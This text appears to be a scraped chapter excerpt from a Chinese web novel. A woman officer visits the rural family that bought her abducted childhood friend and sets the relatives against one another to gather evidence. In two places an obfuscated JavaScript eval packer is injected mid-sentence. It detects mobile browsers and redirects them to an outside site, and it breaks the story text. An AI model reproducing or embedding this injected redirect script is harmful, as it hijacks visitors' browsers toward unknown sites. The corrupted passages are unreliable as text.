这会儿他正躺在摇椅上,在院子里的大榕树下乘凉呢。 听到动静,立马站了起来。 “呦,是虎子回来啦!”王大柱很是开心,便宜儿子毕业了,还分配了好工作,他可以享福了。 还是他给孩子取的名字好吧,光宗耀祖,名副其实! 他凑过来,都没有正眼瞧一下开车的人,兴奋道:“哎呀,虎子啊,出息了啊,都有专车接送了!当大官儿啦!” 王腾虎赶紧澄清:“不是的叔,开车的是周指导,比我官儿大。” 呦,说错话了。王大柱不免一惊,立马凑到驾驶座窗口。 这一看,下意识后退两步。 是个女人!还有杀气! 怪了,这部队还收女人的吗?娘儿们唧唧的,能行吗? 他虽然没敢说出来,但那表情出卖了他。 周子琰面无表情地下车,抱着双臂,那结实的肌肉线条,让王大柱惊讶不已。 赶紧找补:“对不住了领导,我就一农民,没见过这样的大阵仗,有眼不识泰山,别跟我一般见识。” 周子琰没理,她简直不敢相信,小东居然是在这么一个穷乡僻壤长大的。 心疼坏了。 干脆,别跟这些人费劲周旋了,直接玩个大的。 既可以让所有人羡慕小东,又可以名正言顺的留在这里收集证据。 她靠在车门处,冲吴旭东喊道:“你不是要带我见家长吗?出来呀,谁家男朋友躲着不见 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他不理解,只能看向楚劲雄:“这不对啊小徐,你不是说我家耀宗没谈对象吗?” 楚劲雄耸耸肩:“不知道啊。说不定是刚刚在车上看对眼了?” 这不重要,王腾虎赶紧招招手:“叔你过来扶我一把,我跟你说——” 王大柱扶着王腾虎去了堂屋,片刻后怪叫道:“什么!!!她爸妈那么厉害???那完了,我怎么反对啊?我不敢啊!” 王腾虎也不敢啊。 只能劝道:“总之,千万别提你想把女儿嫁给耀宗的事,兴许这个女人只是见耀宗长得帅,一时兴起。再说了,只要她回了部队,就得经常在海上待着,哪个男人受得了?早晚都得分手!” 那就好,王大柱思来想去,还是先稳住,稳住。 立马把几个女儿喊了回来,又让人去王腾虎家通知今天的接风宴两家合一起办。 传话的把话带到。 王腾虎老子王大石问道:“为什么合一起办,有什么说法吗?” “你还不知道?你儿子的领导是个女的,看上耀宗了!那女人的爸妈可是大人物呢,你家耀宗要飞黄腾达了!” 啥???他家虎子怎么遇不上这样的好事? 可惜了,老婆孩子都有了,没机会。 王大石不甘心啊。 不过没关系,他还有几个儿子没着落呢。 以后这整个王家沟都得靠他家虎子罩着,量王大柱也不好意思让耀宗跟他儿子争。 * 王家乱套了。 丝毫不敢怠慢这个女人,端茶倒水,很是恭敬。 院子里来来往往,全是准备办宴席的,忙得热火朝天。 时不时还能听人提一嘴什么马戏团。 毫无疑问,一切都已经就位。 周子琰始终握着吴旭东的手,用力的,坚定的,告诉他,有她在,别担心。 炽热的掌心贴着他冰凉的皮肤,温度很快蔓延到全身。 唤醒来自灵魂深处的躁动。 他只能躲,几次想把手抽回来,都叫周子琰一个鼓励的眼神给劝住了。 像只流浪猫,忽然被人捡了回去,下意识还是想跑。 可是往哪儿跑。 这里是王家沟,早晚要做个了断。 深吸一口气,他不躲了,大大方方的,用力回握。 周子琰笑了笑,傻小东,这有什么难为情的,对付王家沟的人就得出点奇招。 看那一个个的,又敬又怕,又好奇又羡慕,甚至还有嫉妒和不屑。 要的就是这个效果。 旁边的楚劲雄很机智,正拉着王腾虎坐在堂屋聊天,不让他回家。 大局在握,周子琰气定神闲,等他们自乱阵脚。 片刻后,楚劲雄扶着王腾虎去了后面茅坑。 周子琰挠了挠吴旭东手心,笑着说道:“很意外?这叫攻心。让他们从内部瓦解。等着瞧吧,肯定会有人背后捅刀,出卖王大柱。” 还会把自家儿子往她面前推呢。 毕竟,她可是周指导,年纪轻轻做到这个位置的真没几个。 撇去爸妈的身份不谈,她自身的条件已经足够让那些攀龙附凤的人各怀鬼胎。 不管什么宗族势力,都会被权势迷眼。 一旦其他人动了心思,王大柱还怎么抵赖? 至于那些作假给小东上户口的,也能顺藤摸瓜全部揪出来。 兵不血刃。 果然,门口探头探脑的,有人在打量着她。 眼神从吴旭东身上扫过,带着来势汹汹的酸。 15. 背叛(1) 周子琰有点难受。 这里的环境太糟糕了。 该怎么形容呢?她光是坐在这里,都怀疑自己会中毒。 一点都不夸张。 这是两个宅基地合成的院子,中间没有隔断,院子足有六间房屋的宽度,纵深也挺宽裕的。 可是,这么大的院子里,全是杂乱摆放的各种破烂玩意儿。 有断胳膊瘸腿的老旧家具,木质的爬满霉菌斑,金属配件则锈迹斑斑。 有遮着花油布的柴火,有成堆的煤球,使用后也不规整一下,拉得东倒西歪。 废弃的二八大杠就那么倚着墙脚,锈迹沿着雨天流水的痕迹蔓延了挺长一道痕迹,像是什么呕吐物一样让人难受。 当地多雨,气候潮湿,墙角的青苔又绿又厚,都快长到屋里来了。 也没有人清理一下。 加上院子是原生态的泥巴院子,青苔附近便嚣张地挺立着不少的野草。 一滩泔水泼洒的痕迹从东边的厨房门口出现,一直通往院子里的一小畦菜地,临近的小葱被泼得倒地不起。 地上蒙着一层油腻的光。 里面的食物残渣一定是苍蝇的最爱,这不,正嗡嗡嗡的,忙着享用美餐呢。 厨房旁边似乎还养了猪,能听见哼哼的声音。 风一吹,便把猪圈的味道也拍进了人的肺腔里,连带着西边水井旁鸡窝的粪便味道,长驱直入,让人窒息。 再看屋里…… 那更是惨不忍睹,她都没眼看。 加上屋里的霉味很重,又有鞋臭味从东边的房门口传来,简直是一种酷刑。 周子琰需要非常努力,才能在这么一个气味怪异,宛如垃圾填埋场的地方坐着。 连凳子都是脏的,裹着一层厚厚的油腻污渍。 还好刚刚坐下之前,吴旭东去车上拿了一个空鞋盒过来,撕成两半,垫在了各自身下。 这么一个宛如地狱的环境,她真的不知道吴旭东怎么忍受过来的。 不禁用眼神问他:你的房间是不是干净一点? 吴旭东起身,带她往堂屋西边的房间走去。 房间上了锁,钥匙摔下山崖没找到,只能直接撬开。 周子琰盯着他专注的神情,不禁惊叹:“这世上有你不会的事吗?” 吴旭东笑了,她真是不遗余力在找机会夸他。 真好。 他把门推开,叮嘱楚劲雄:“徐大东,别让人进我房间。” 偷听也不行。 楚劲雄点头,放心吧,包在他身上。 吴旭东这才邀请周子琰进去。 映入眼帘的,是一个完全不一样的房间。 虽然也是土砖房,但是地上铺了砖,不像堂屋是泥地。 不过铺的都是碎砖。 也许是捡来的,积少成多,就有了一个稍微体面一点的地面。 周子琰刚踏进去,便有一个女人从院子里跑过来,在门外紧张兮兮地问道:“耀宗,你不是不让人进你房间吗?凭什么她可以?” “凭我是他女朋友,你有什么意见吗大姐?”周子琰直接怼了回去。 王四毛没理,直勾勾地盯着吴旭东。 吴旭东索性转身,挽住了周子琰的胳膊。 气得王四毛愤愤地把脚一跺,转身离去。 便是这匆匆一瞥,让周子琰对王大柱的五个女儿好奇起来。 她把门关上,问道:“那是谁?” “四毛,最爱使小性子的一个。”吴旭东的房间相当整洁,土砖墙上全部镶了木板。 又怕雨天受潮,会让木板变形,所以木板全部裹了花油布。 因此,他的整个房间是红黄蓝三种颜色的墙壁,条纹状的。 所有的家具也都盖了的确良的印花布,掀开后,是保持得特别干净的座椅和书桌。 桌上都是些课本,没有课外书,全靠老师课上讲的那些加他自己的悟性,考上了大学。 这些书都留着,没卖。 周子琰随便拿起一本,封皮的姓名写的是王耀宗,龙飞凤舞的,特别有气势。 内页则会在贴近装订线的地方,竖着写上吴旭东。 王耀宗是为了保护书本不至于易主。 吴旭东是为了保证自己不至于遗忘。 周子琰心疼得很,拿在手里细细抚摸那三个字。 吴旭东的字很好看,是那种飘逸俊秀的行楷,大开大合。 但是吴旭东三个字,他是用正楷写的。 一笔一划,格外端正。 很用力,很认真,很虔诚。 他在用这细枝末节的特殊对待,时刻提醒自己,不要忘了他到底是谁。 她忽然好奇:“你是怎么记得自己叫吴旭东的?” 吴旭东转身,打开衣柜,取出里面一件非常小的衣服。 洗得发白的天蓝色纯手工老土布,质地柔软,手感极佳。 一看就是手工缝制的,裁剪得非常别致。 大概是四五岁的小孩穿的。 周子琰接过来,恍惚间有点印象:“哎呀,是我妈给你做的!我和阿琛小时候经常穿的款式。大哥二姐不怎么爱穿,他们喜欢的确良时装。” “是吗?我不记得了。”吴旭东惭愧。 周子琰像是记起了什么,赶紧把外面的衣兜翻转过来,里面有一截三公分长一公分宽的白布标签,上面用黄色的丝线绣着吴旭东三个字,歪歪扭扭的,笨拙又滑稽。 周子琰不禁老脸一红:“完了,黑历史落你手里了。” ……吴旭东有点懵;“你缝的?” 周子琰哭笑不得,堂堂周子琰周指导,居然也有无法精通的技能。 不过这没什么可丢人的,人各有志。 她志在浩瀚大海和浩渺蓝天,不会这些针线功夫有什么要紧。 她给吴旭东解释道:“那时候你们搬走了,我还挺想你的,隔三差五问你家的情况。有次我爸说你快上幼儿园了,我很开心,想送你点什么。我妈舍不得我辛苦,也知道我做不好,就亲自给你做了身衣服。又怕衣服被别人拿串了,想在布兜里缝上你的名字。我那会儿逞能,非要自己缝,要不然,我什么都没做,还怎么算我送的。没想到……” 没想到,小东就是穿着这件外套的时候被拐了。 更没有想到,他心细如发,居然能意识到这是他自己的名字。 周子琰抚摸着这件蓝色外套,无限唏嘘:“你就没有怀疑过这是别人的名字吗?” “没有,我记得家里人都喊我东东,你喊我爱哭鬼和小东。”吴旭东再次握紧了裤兜里的黄鹤楼。 他跟她果然缘分深重。 要不是这个奇丑无比的姓名标签,他连自己的大名都不会记得。 还好王家人粗心,一直不知道这个标签的存在,不然这件衣服他留不下来的。 一时激动,盯着她水润红艳的双唇,思绪翻涌。 她的嘴唇真好看。 是那盛夏绽放的池中睡莲,叫人流连忘返,不自觉的想靠近一些,再靠近一些。 心甘情愿沉沦,哪怕溺毙在池塘里。 做一个水鬼。 她的水鬼。 可是他凭什么。 她那么好,而他一穷二白,只有那间汽修店,还是别人为了报恩送他的。 赶紧背过身去,不让自己失态。 他不能放任自己的内心所想,任性妄为。 只能用沉默,将燥热的内心冷却。 周子琰不知道他在想什么,她把衣服收好,默默叹息。 可怜的小东,全靠这零星的线索和些微的记忆坚持到了现在。 还好她找到他了。 她把这衣服搂在怀里,让他坐下说话。 可是屋里只有一把椅子,吴旭东不肯坐,非要摁着她的肩膀,让她坐。 “你想问什么,说吧。”他把盖椅子的碎花布收起来叠好,整个人斜靠在书桌旁,尽量放松。 大长腿包裹在窄腿裤管里,格外的修长显眼。 周子琰原本想问问王大柱的五个女儿什么情况,可是现在,她觉得没必要了。 再好也不会好到哪儿去的,毕竟这个家能乱成这样,除了在外求学的小东,每一个人都是罪人。 这样的人家,又能教育出什么样的女儿呢? 所以,没必要问了。 她看了眼最里面的床铺,被子叠得整整齐齐,床的周围摆了几袋子石灰,衣柜下面也有。 被子上也盖了碎花布,看形状,枕头应该也在下面。 所有他使用的东西,都保护得很好,很整洁。 是个特别爱干净的小东呢。 真不忍心再让他住在这里。 周子琰想起在镇上看到的旅馆,提议道:“晚上你也去旅馆住吧。” 这里不是人住的地方。 吴旭东摇头:“钱丢了。” 周子琰歪头看着他:“我有。” 他知道她有钱,又是买衣服鞋子,又是买烟的,现在又要请他住旅馆。 他忽然好奇:“你是想包.养我吗?” “你不愿意?”这话一出口,周子琰又怕伤他自尊,改口道,“开玩笑的。你可以以后还我。我又不要你打欠条。” “好。”以后挣大钱,给你买,什么都给你买。 吴旭东再次握紧了裤兜里的黄鹤楼。 山重水复疑无路,柳暗花明又一村。 她就是他的柳暗花明,就是他的又一村。 是他的天使。 视线里,一头板寸的天使,正浅笑盈盈地看着他。 用一种平视且略带关切的眼神。 这让他意识到,她在尽量照顾他脆弱的自尊心。 他忽然有些烦躁:“我爸妈有钱吗?” “还行。”周子琰实话实说,“你爸要照顾你妈,没空出去上班,我爸妈挣钱的厂子和公司比较多,就让你爸入了点股,每个月拿分红就行。别担心,都是原始股,够你娶老婆了。” ……吴旭东关心的不是这个。 他只想知道自己家跟周子琰家的差距。 毕竟,周子琰开的是最新款的宝马,真没几个人家能这么有钱。 所以,其实是她爸妈在带着他爸发财? 完了,这地位完全不对等。 他还以为自家就算谈不上大富大贵,起码可以跟周子琰家条件差不多呢。 他想多了。 一方是大老板,一方是小股东。 差太多了。 自卑是那捉弄人的潮汐,退了还会再来。 汹涌的海浪将他拍在了浅滩上,狼狈至极。 低沉的情绪让他迟迟没有再开口,周子琰有所察觉,握住他的手,鼓励道:“不想用他们的钱?那你自己挣,做大老板,你可以的!” 吴旭东沉默地盯着她细长有力的手,用力反握住:“你着急结婚吗?” “不着急啊。”周子琰不知道他问这个做什么,“怎么,又想给我介绍对象?别了吧,我经常下水不着家,回头害了人家。” 那他宁愿被害! 可她好像完全没有那个想法。 吴旭东内心烦躁,久久没有再说一句话。 直到一个带着哭腔的女人跑过来在堂屋喊他:“耀宗,大伯跟咱爸吵起来了,为了你那个女朋友。大伯想让她给虎子哥的弟弟做媳妇,咱爸挖苦了两句,大伯气不过,要跟他动手呢,你快去看看。” 什么? 吴旭东头皮发麻,神经病吧! 周子琰什么身份,他们真有这个狗脸去抢? 下贱东西! 他很生气。 然而这正是周子琰计划成功的证明。 周子琰的目光是那无声的安抚,他很快平静下来。 回道:“你去告诉他们,我跟周指导因为彩礼的事情谈不拢,在闹分手。” “什么,她这么有钱还要彩礼啊?要多少?”王五毛气喘吁吁,显然是狂奔回来的。 吴旭东报了一个王家几房叔伯加起来勉强能够上的数字:“五千,意思一下,她家不差钱,就是个态度,可是咱家没钱。” “啊,五千?那还真的不算多,我让爸想办法去借借,总归会有的。耀宗啊,你可千万别分手,姐支持你们的!实在不行,姐找个人嫁了,也要五千彩礼,拿了给你用。” ……吴旭东头疼,下意识看向了周子琰。 小声道:“王五毛,最护着我的那个。” 周子琰恍然,吴旭东在车上说过,当初考上大学,王大柱半路拦着不让他报警,只有王五毛护着他,差点被王大柱打死。 虽然他后来报警了也没用,起码王五毛对他是真的好。 可是,万一这是苦肉计呢。 唱白脸和唱红脸的都得有吧? 不然怎么困住小东,让他怎么也逃离不了呢? 周子琰立马站了起来,径直向房门走去。 这个五毛到底是真好心,还是假热忱,试一试就知道了。 于是她直接把门打开。 一股鱼腥味扑面而来。 映入眼帘的,是一个还算清秀的年轻女人,岁数估计跟她差不多。 身材娇小,顶多一米六的身高,细瘦的膀子,筷子一样的腿。 穿得很一般,棕色的确良短褂,同色的确良中裤,都是方便干活的款式,颜色耐脏。 脚上则是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634922|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双黑色长筒橡胶雨靴。 女人下巴,膀子以及小腿上还有泥点子,大概是刚从鱼塘里捞鱼回来。 看起来不像是个懒惰的女人。 可是为什么家里会这么脏这么乱呢。 周子琰理解不了。 王五毛也打量着周子琰。 惊为天人的五官,小麦色的皮肤。 没有穿军装,上身是一件白色纯棉衬衫短袖,下身是一条黑色窄腿长裤。 简单大方,却又格外挑人,越发显得她身高腿长。 与一般女人不同的是,肱二头肌饱满圆润,手臂线条是长期锻炼出来的凌厉和坚硬。 至于其他部位,一个字形容,绝! 如果不是当兵,应该能做电视上的那种广告模特。 真是天生丽质,不怪弟弟喜欢这个女人。 绝配。 王五毛有些心酸,但还是勉强笑了笑:“你就是我弟女朋友吧?你好,我是他五姐。” 周子琰觉得她的面相不像是奸诈之人。 不过凡事还是仔细一点的好,她客气地把王五毛往里请:“五姐好,进来聊聊。” “不了吧,我爸还在跟大伯吵吵,我得赶紧去劝着点。”王五毛不想弄脏了弟弟的房间。 周子琰没有坚持,回头看了吴旭东一眼:“你头上有伤,好好歇着,我跟五姐过去看看。” 什么,伤? 王五毛刚从鱼塘回来,又被周子琰拦着,没看到。 赶紧问了声:“怎么了,磕着碰着了?” 周子琰正好要试试她是真心还是假意,便俯身贴在她耳边,小声道:“追人贩子去了,差点摔下悬崖送了小命。” 什么!!!王五毛吓死了,顾不得手上脏,赶紧拉着周子琰进了房间。 把门关上,她才压低了声音提醒道:“我虎子哥在堂屋坐着呢,这话可千万不要再提了!” 幸亏王腾虎更靠近东房一点,旁边还开了电风扇,要不然,指定听见。 他一听见,事情就不可收拾了。 见周子琰似乎并不畏惧,王五毛急了,先是看了眼吴旭东,小声道:“她知道你的事吗?” 吴旭东没有否认。 又指了指吴旭东的额头:“这事警察知道吗?” 吴旭东点头。 王五毛急得脸色煞白:“完了,我大伯还请了派出所的朋友来吃席,虎子哥要是知道了,会起疑心的。这样,你们两个就在屋里待着,哪儿也别去了,我去想想办法,让马戏团来旁边的晒谷场演出,这样吵闹一点,喝酒侃大山的时候就听不清说什么了。” 说罢,王五毛看了眼周子琰的膀子。 “你酒量好吗?” “还可以。” “等会吃酒,你坐虎子哥旁边,趁早把他灌醉!你是领导,他不敢不跟你喝。” “他很可怕吗,没看出来。” “他不可怕,但我大伯为了保住他的乌纱帽,会跟你鱼死网破。到时候随便给你的车动点手脚,你还能活着回去吗?” “他不敢。” “不敢?别太天真!这里穷乡僻壤的,没什么人来,多的是你不知道的龌龊事儿。” “你为什么这么做?” “你不是我弟弟的女朋友吗,如果你看过他的身上,你会明白的。好了,我去安排。你要是不放心我,可以跟着。”王五毛坦坦荡荡地看着周子琰。 周子琰没什么不放心的,王五毛如果真是这家人的帮凶,现在喊一嗓子,王腾虎立马就知道了。 这样可以杀她个措手不及,完全没必要迂回曲折。 而且,从王五毛的谨慎和仔细推断,应该是真心对小东好的。 王五毛出去后,周子琰背对着关上的房间门,盯着吴旭东。 火辣辣的视线,让吴旭东遭受不住,下意识别过身去,不想跟她对视。 犹豫半天,她还是一步一步,走到了他的面前。 什么也没问,直接上手,解开了他的扣子。 她的心跳,几乎停了一拍。 颤抖着伸出手,她轻轻抚摸着那伤痕累累的皮肤,冰得她心里发慌。 可她的手心很烫,烫得吴旭东浑身难受,只得一把摁住,不让她再乱动。 周子琰深呼吸,用力抱紧了他:“别怕,一切有我。” 说罢,立马给他把衬衫掩上,扭头追了出去。 她是训练有素的士兵,追一个乡野村姑,不费吹灰之力。 一把摁住王五毛的肩膀,周子琰沉声道:“除了王大柱和王腾虎,还有谁?” 王五毛回头,没有回答,只提醒道:“你应该很有能耐,不管你用什么办法,尽快多找点人来。我救不了他,你一个人单枪匹马也很危险。动作要快,这里的人都爱收听广播,看电视,等会就是地方台的新闻了,一旦人贩子的事上了警方通报,你们都有危险。” 周子琰冷笑:“他们知道我爸妈是谁吗?” “是谁?”王五毛在鱼塘干活,还不知道这个准弟媳的背景。 周子琰报了两个名字。 王五毛震惊地捂住了嘴巴。 电视上见过! 她忽然喜极而泣:“怪不得我爸死活不肯把你介绍给虎子哥的那几个弟弟。太好了,我知道怎么做了。你快回去,跟我弟弟吵一架,大声点,我大伯会上当的,快去。” * 同一时间,吴家。 吴国正本打算听周子琰的安排,开车过去,路上走两天,正好后天上午到。 可是老周没让。 说什么开车太辛苦了,最好是直接坐飞机过去。 至于周子琰的安排,那不重要。 那孩子打小懂事,凡事喜欢自己冲在前头,不想让长辈担心。 可越是这样,她爸妈越是不放心。 所以决定今天就过去。 不过正好赶上放暑假了,出行人多,机票不好买,只有半夜的。 所以他得先把晚饭吃了。 他刚从厨房出来,手里还端着热乎的羹汤,准备喂他呆傻的老妻。 房间座机响了,他赶紧把碗筷放下。 抓起话筒,对面响起爽朗的笑声:“老吴啊,告诉你一个好消息,有个旅行团内部矛盾闹翻了,集体退票,空出好几十张呢。你快来,咱们不等半夜的航班了,现在就走。正好是小杰执飞,落地后小杰轮休,一起去接小东。” 哎呀,这可太突然了。 吴国正还以为要到半夜呢,没想到运气这么好。 他问了下具体的时间,一刻不敢耽误,赶紧给他大儿子吴燕西打了过去:“快来接我跟你妈妈去机场,你周叔叔搞到了机票,今天晚上就能见到咱家东东了!” 16. 背叛(2) 王大柱生得精瘦矮小,皮肤黝黑,跟王大石一看就是亲兄弟。 两人还有个弟弟,叫王大河,一个堂弟,王大灶。 这四人全都是小眼睛,五短身材,还都长了一个大蒜鼻,皮肤也差,麻麻赖赖,跟王腾虎一看就是至亲骨肉。 不过王大柱懒,不怎么下地干活,所以肤色比其他几个人白了好几个色号。 不过家里来了贵客,他就算再懒也要去村头买点酒水回来。 回来走到半路,遇到了气势汹汹的王大石,张口就要他拆散耀宗跟那个女军官,把这样好的婚事让给虎子的三个弟弟。 王大柱哪里肯呢,人家什么身份,看上耀宗已经是他家祖坟冒青烟了。 借他几个胆子他也不敢去拆散啊。 王大石气不过,只得拉着王大柱去家里算旧账。 两人吵了半天,王大柱死活不肯点头。 王大石彻底恼了,懒得再废话,直接揭了王大柱的老底:“大柱你摸摸你的良心,当初要不是我给你介绍,你能有这么一个出息的儿子?现在好了,大学毕业了,我家虎子给他找关系安排了个好工作,你不感谢我们就算了,还一声不响,让耀宗攀了这么一个厉害女人回来做老婆,你就是这么报答你大哥的?你还有三个亲侄子没结婚呢?有这好事,你该先紧着他们!” 王大柱冤枉啊,赶紧解释道:“大哥,你这话说的,你又不是不知道我什么打算,我要是知道耀宗野了心找了外面的女人,我早就收拾他去了。是这小子瞒着我,直接带女朋友上门了,女朋友爸妈还要来呢!你说,这女人要是条件一般一点,我肯定就给当场回绝了,耀宗敢说半个不字?可是这个女人,太有来头了,我不敢啊。” “她爸妈是谁,有这么可怕吗?”王大石蹙眉,总不能是美国总统吧? 王大柱翻了个白眼,说了两个名字。 没想到王大石更生气了,埋怨道:“那你更应该把这好事让给你侄子啊!做哥哥的这些年对你不薄吧?出生证,报户口,收买管事的那帮人,哪一样不是我帮你办的?后来这孩子不孝,我跟虎子也没少帮你管教吧?你怎么这么忘恩负义呢?你就跟那个女人说,说你家耀宗先天不足,这辈子不能生育,让她重新挑一个。再说了,她跟虎子还是战友呢,就冲她亲自送虎子回来的情分,虎子给她介绍自己的弟弟,不是挺合情合理的吗?” 王大石又不傻,这可是全家鸡犬升天的好机会啊。 当然要争取争取。 不枉他这几年拦着剩下三个儿子没让结婚,就是为了等虎子这边高升了再说。 到时候可以挑些条件好的岳家。 看,这不就等来了吗? 可是王大柱也不傻,他也有点心动啊。 万一耀宗跟这女人结婚之后,愿意把他接到城里尽孝呢? 那他这辈子不就可以躺着享福了。 至于让耀宗做女婿的事,简单,让耀宗偷偷跟他闺女把事办了,怀个孩子就行了。 反正那个周指导是个当兵的,不可能天天在家,再说了,他只要耀宗给家里留个种就行,不会让他女儿去部队家属院晃悠的。 到时候他再找个人跟他女儿结婚,这个秘密就可以永远瞒下去。 这样既能沾军官儿媳妇的光,又能用这个法子永远拴住耀宗,永远逃不出他的五指山。 正做着美梦呢,王大石一盆冷水把王大柱泼了个透心凉:“别以为我不知道你在想什么,做梦,耀宗要是真有了厉害老丈人撑腰,保不齐没多久就找到亲生父母了,到时候鸡飞蛋打,你就哭去吧!” ……也是。 王大柱沉默了。 完犊子,这么好的机会摆在面前,就因为耀宗不是亲生的,只能拱手让人,可惜啊,可惜。 不管怎么说,大哥说得没错,这事得给耀宗搅合黄了,要不然,到时候福没享到,辛苦培养的大学生儿子还飞了,他上哪儿说理去? 思来想去,王大柱赶紧带着王大石和三个侄子,往自家院子去了。 半路遇上了吭哧吭哧跑过来的王五毛,差点撞上。 王大柱没什么好脸色,骂道:“赶着投胎吗?眼睛瞎了?” 王五毛早就被打骂习惯了,她没有理会,故作惊慌地喊道:“不好了,不好了,耀宗跟那个女人为了彩礼吵起来了,在闹分手呢。我劝了半天,人家家里有钱,彩礼就是个态度,可是耀宗说什么也不肯啊。想想也是,咱家穷啊,除非几个叔叔伯伯一起帮忙凑一凑,要不然,这彩礼钱根本够不上的。” 王大石一听,这不正好吗? 赶紧问道:“五毛,那个女人要了多少?” “五千。不怪耀宗生气,咱家什么条件啊,上哪儿凑这五千去,就算我们姐妹四个都嫁人了,一人要上一千的彩礼,也凑不齐剩下那一千啊。可是这么好的机会,错过了太可惜了。”王五毛长吁短叹。 王大石乐了:“就要五千?” 别人家不知道,反正他家凑凑是不成问题的。 毕竟虎子这些年的工资都寄回来了,而且有虎子这个出息的儿子在,不少人家都要找他帮忙办事。 既然给人办事,那就少不了收点好处。 积少成多。 王大石心里有底了,立马乐呵呵的领着三个儿子抢老婆去。 王大柱真是懊恼死了,都怪他那婆娘的肚子不争气,但凡耀宗是亲生的,哎! 他气啊,气得恨不得扇自己的嘴巴子。 王五毛还在旁边拱火:“爸,你先别气,小情侣吵吵架其实没什么,万一耀宗想通了愿意呢?不如咱们爷俩想办法借钱去吧。” 哎呀,不行。 要是耀宗想通了,到时候王大石为了拆散他们,什么都往外说就糟了。 这是个不达目的决不罢休的主啊。 与其等王大石胡言乱语,不如他亲自出面,搅黄了耀宗跟那个女人。 王大柱急得赶紧追了上去。 王五毛则调头,往王大河跟王大灶家去了。 她哭着找两个叔叔帮忙。 “我爸说好让我们姐妹几个找个人嫁给耀宗的,为了等耀宗,我们都熬成老姑娘了,我为了护着耀宗还差点被打死。结果呢,耀宗二话不说,领了个女人回来。叔,你们可要给我做主啊。只要你们能让那个女人放弃耀宗,以后等我嫁给耀宗,我一定报答你们。” 王家两个叔叔好奇,问了问那女人什么来头。 全都惊呆了。 有这好事? 这王耀宗走的什么狗屎运啊。 这可不行啊,他一个买来的野种,凭什么有这样好的机遇? 当即摩拳擦掌,要去给自家儿子争取一下。 毕竟他们的儿子也不差嘛,一个是教师,一个有脸模样,要不是等着沾王腾虎的光,挑个好的,早结婚了。 * 回到家,王大柱默默叹气,真不想开这个口啊。 他看着坐在堂屋的儿子和女军官,再看看身边一脸期待的王大石,最终还是硬着头皮,道:“周指导,有个事情要跟你说一下。” 周子琰跟吴旭东已经出来了。 孤男寡女的,一直待在西屋不太好。 也怕楚劲雄哄不住王腾虎。 这位老兄一直闹着要回家看老婆孩子呢。 周子琰不得不回到堂屋,跟吴旭东为了“彩礼”吵一吵。 王腾虎自然要劝架,也就没再提回家的事。 现在他老子来了,还带着三个没结婚的弟弟,王腾虎一看就明白他老子准备放什么屁了。 想劝,可是他也明白,如果真的能让周子琰做自己的弟媳妇,那他们一家下半辈子都可以吃香喝辣了。 所以他犹豫了一下,没开口。 现在王大柱要棒打鸳鸯了,王腾虎还挺好奇的。 不知道他这个叔要怎么编排“王耀宗”。 周子琰也好奇,她停止了跟吴旭东的争吵,抱着双臂:“你说。” 王大柱叹了口气:“我家耀宗啊,原本想报考军校的,结果当时体检呢,说他生育发面有点问题,加上他身上有点残疾,所以就没报成。周指导啊,我是真心感激你看上我家耀宗了,可惜耀宗不能生育啊,要不,你还是在虎子的弟弟里面挑一个顺眼的?他家兄弟多,不介意做上门女婿的。” 一旁的王大石很是激动,赶紧把三个儿子往周子琰跟前推。 周子琰跟吴旭东对视一眼。 一个震惊,万万没想到这个王大柱这么不给吴旭东面子,不论真假,这话都太伤人了。可以想象,小东在这个家里过的都是什么日子。 一个气恼,万万没想到这个王大柱的无耻程度还能再上一个台阶,不遗余力的泼他脏水就算了,还带了一群下三滥过来,也不想想配吗? 可笑,可笑。 吴旭东下意识想起身,揍他丫的。 叫周子琰一把拽住。 视线对上,吴旭东的满腔怒火瞬间灭了。 她信没信不知道,但她眼中的关切是真的。 她怕他受伤。 怕他树敌太多。 毕竟,这会儿人多,真要是打起来,他未必能占上风。 何况王大石还带了三个儿子过来,而他头上还有伤。 凡事不能冲动,他这毛病得改改。 他顺从地坐下了。 一只炸毛的刺猬,就这么轻而易举,将那扎人的刺捋平,安静地坐着。 周子琰把他往旁边推了推,紧挨着楚劲雄坐下,生怕他冲动吃亏。 楚劲雄也知道她的用意,赶紧拽住吴旭东的衣袖,拦着点。 周子琰有两个选择—— 要么顺着王大柱,搞一个“选帅”,这样那些跃跃欲试的人家应该都会来搅合。 要么不予理会,坚持就要“王耀宗”,彻底激起那些红眼病的妒火,让他们狗咬狗。 两个法子应该都能达到她想要的效果。 毕竟人心都是这样的,又怕兄弟苦,又怕兄弟开大吉普。 但是第一个法子,绝对会伤小东的心,哪怕只是做戏。 她笑着回道:“不用,我在部队很忙的,没有孩子才好呢。不过彩礼我是一分都不肯少的,要不然,我岂不是很没有面子?” 吴旭东:……姐姐真好,怕我伤心什么话都肯说出来哄我。 楚劲雄:卧槽,不能生育都不嫌弃的吗?富婆姐姐对吴旭东是真爱啊?磕到了。呜呜呜,求求了,你们原地结婚吧,百年好合。 王腾虎:我怎么不知道他们已经感情这么好了?我到底错过了哪一环? 一旁的王大柱也懵了,下意识看向了王大石:这可怎么办,这女人不按常理出牌啊。 头疼。 王大石也头疼,却还是笑着说道:“周指导,你还年轻,不懂老来凄凉的苦楚,要是没有个一儿半女的,老了生病了连个端茶倒水的人都没有。再说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634923|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你跟我家虎子是战友,我还能有错话给你听吗?还是别跟耀宗处了,真的不值当。” 